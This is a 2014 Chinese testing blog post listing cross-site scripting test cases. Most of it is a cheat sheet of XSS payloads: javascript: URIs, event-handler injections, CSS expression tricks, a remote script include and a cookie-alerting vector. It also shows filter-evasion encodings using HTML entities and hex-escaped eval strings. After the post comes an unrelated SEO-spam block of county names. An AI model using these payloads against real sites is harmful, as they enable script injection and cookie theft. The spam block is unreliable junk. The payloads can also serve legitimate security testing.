qileilove

          blog已經(jīng)轉(zhuǎn)移至github,大家請訪問 http://qaseven.github.io/

          XSS測試用例與原理講解

           1、<a href="javascript:alert(32)">DIBRG</a>
            2、<img href="javascript:alert(32)">
            在IE下可以,在FF下不可以
            3、<img src=" http://xss.jpg" onerror=alert('XSS')>
            IE,F(xiàn)F下均可
            4、<img STYLE="background-image: url(javascript:alert('XSS'))">
            在IE下可以,在FF下不可以
            5、<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
          <IMG SRC="javascript:alert('XSS');">
          <IMG SRC=javascript:alert('XSS')>
          <IMG SRC="javascript:alert(String.fromCharCode(88,83,83))">
          <IMG SRC="jav ascript:alert('XSS');">
          <SCRIPT/XSS SRC="http://example.com/xss.js"></SCRIPT>
          <<SCRIPT>alert("XSS");//<</SCRIPT>
          <iframe src=http://example.com/scriptlet.html <
          <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
          <BODY BACKGROUND="javascript:alert('XSS')">
          <BODY ONLOAD=alert(document.cookie)>
          <BODY onload!#$%&()*~+-_.,:;?@[/|"]^`=alert("XSS")>
          <IMG DYNSRC="javascript:alert('XSS')">
          <IMG DYNSRC="javascript:alert('XSS')">
          <BR SIZE="&{alert('XSS')}">
          <IMG SRC='vbscript:msgbox("XSS")'>
          <TABLE BACKGROUND="javascript:alert('XSS')">
          <DIV STYLE="width: expression(alert('XSS'));">
          <DIV STYLE="background-image: url(javascript:alert('XSS'))">
          <STYLE TYPE="text/javascript">alert('XSS');</STYLE>
          <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
          <?='<SCRIPT>alert("XSS")</SCRIPT>'?>
          <A HREF="javascript:document.location='http://www.example.com/'">XSS</A>
          <IMG SRC=javascript:alert('XSS')>
          <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
          a="get";
          b="URL(""";
          c="javascript:";
          d="alert('XSS');"")";
          eval(a+b+c+d);
            6、XSS轉(zhuǎn)碼
            有攻就有防,網(wǎng)站程序員肯定不會放任大家利用XSS,所以他們常會過濾類似javascript的關鍵字符,讓大家構(gòu)造不了自己的XSS,我這里就撿兩個被忽略慣了的字符來說,它們是"&"和"\".首先來說說"&"字符,玩過SQL注入的都知道,注入的語句可以轉(zhuǎn)成16進制再賦給一個變量運行,XSS的轉(zhuǎn)碼和這個還真有異曲同工之妙,原因是我們的IE瀏覽器默認采用的是UNICODE編碼,HTML編碼可以用&#ASCII方式來寫,這種XSS轉(zhuǎn)碼支持10進制和16進制,SQL注入轉(zhuǎn)碼是將16進制字符串賦給一個變量,而XSS轉(zhuǎn)碼則是針對屬性所賦的值,下面我就拿<img src="javascript:alert('XSS');">示例:
            <img src="javascript:a
            lert('XSS');"> //10進制轉(zhuǎn)碼
            <img src="javascrip
            t:alert('XSS');"> //16進制轉(zhuǎn)碼。
            這個&#分隔符還可以繼續(xù)加0變成“j” ,“j” ,“j” ,“j”等形式。
            而這個"\"字符卻暴露了一個嚴重的XSS 0DAY漏洞,這個漏洞和CSS(Cascading Style Sheets)層疊樣式表有很大的關聯(lián),下面我就來看看這個漏洞,先舉個javascript的eval 函數(shù)的例子,官方是這樣定義這個函數(shù):
            eval(codeString),必選項 codestring 參數(shù)是包含有效 JScript 代碼的字符串值。這個字符串將由 JScript 分析器進行分析和執(zhí)行。
            我們的JavaScript中的"\"字符是轉(zhuǎn)義字符,所以可以使用"\"連接16進制字符串運行代碼
          <SCRIPT LANGUAGE="JavaScript">
          eval("\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3a\x61\x6c\x65\x72\x74\x28\x22\x58\x53\x53\x22\x29")
          </SCRIPT>

          posted on 2014-06-20 10:34 順其自然EVO 閱讀(519) 評論(0)  編輯  收藏 所屬分類: 測試學習專欄

          <2014年6月>
          25262728293031
          1234567
          891011121314
          15161718192021
          22232425262728
          293012345

          導航

          統(tǒng)計

          常用鏈接

          留言簿(55)

          隨筆分類

          隨筆檔案

          文章分類

          文章檔案

          搜索

          最新評論

          閱讀排行榜

          評論排行榜

          主站蜘蛛池模板: 东山县| 德格县| 武夷山市| 绥化市| 许昌县| 栖霞市| 藁城市| 佛冈县| 西宁市| 余姚市| 射洪县| 额尔古纳市| 汝阳县| 湟中县| 德安县| 蚌埠市| 会同县| 广安市| 房产| 汝南县| 洛阳市| 孝感市| 岱山县| 依兰县| 瑞安市| 岢岚县| 弥勒县| 吐鲁番市| 永靖县| 桂东县| 应用必备| 榕江县| 通辽市| 渭南市| 大田县| 永善县| 苍溪县| 青河县| 灵寿县| 安远县| 上高县|